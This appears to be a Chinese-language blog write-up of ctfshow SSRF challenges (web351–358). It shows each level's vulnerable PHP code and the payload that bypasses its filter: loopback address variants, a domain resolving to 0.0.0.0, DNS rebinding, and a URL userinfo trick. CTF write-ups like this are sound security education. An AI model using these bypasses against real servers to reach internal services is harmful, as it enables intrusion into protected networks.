ssrf刷题

发布时间 2023-04-13 23:31:16作者: kode

在做题之前我们需要了解一些知识点:

我们需要知道parse_url函数的使用方法。

<?php

$url = "http://www.php.cn:8080/index.php?name=wxp&id=2";

$parts = parse_url($url);

print_r($parts);

?>

运行结果:

 

 

 可以看到这个函数的作用就是解析 URL,并返回url的组成部分。这样就可以帮助我们理解后面的题的意思了。

web 351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

直接构造url=127.0.0.1/flag.php就可以了

web 352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

虽然对于loclhost进行了过滤,但是我们依然可以用刚才的payload获取flag。

payload:url=http://127.0.0.1/flag.php    (这里你会发现只有是127开头的,比如127.0.1.1也可以获取到flag,但是为什么呢?)

!!!这里有一个知识点,127.0.0.1是一个回环地址,比如:127.0.0.1~127.255.255.254这些都是回环地址。

所以回环地址有什么用呢?

 

 

 所以我们可以理解为127.0.1.1和127.0.0.1这些都相当于localhost,所以都可以访问内网获取flag。

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>hacker

该题目过滤了1和0,所以之前的payload就不能用了。

这里我们可以用http://sudo.cc/这个域名,因为这个域名是指向0.0.0.0的,所以我们可以通过这个域名进行绕过。

 

 

 

 

 payload:url=http://sudo.cc/flag.php

web 355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}hacker

因为$host<=5,所以我们只需要构造一个小于等于5的payload就可以了。

url=http://127.1/flag.php

web 356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}

同理。我们可以用0.0/flag.php。

payload:url=http://0.0/flag.php

web 357

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

这道题我们需要先了解if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))

https://blog.csdn.net/z_qifa/article/details/75497577

可以知道这个东西是用来判断内外网的,如果不是内网的话则echo file_get_contents($_POST['url']),所以我们使用DNS重绑定。

这里使用这个网站:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg   我们将自己的ip绑定为127.0.0.1,然后反复刷新就可以得到flag。

 

 

web 358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

正则匹配的结果是必须以http://ctf.开头,并且以show结尾。

以show结尾的话我们可以以#show或者?show方式结尾。

所以我们可以在http://ctf.的后面加入@127.0.1这样host就是127.0.1

 

 

 

所以payload:url=http://ctf@127.0.1/flag.php?show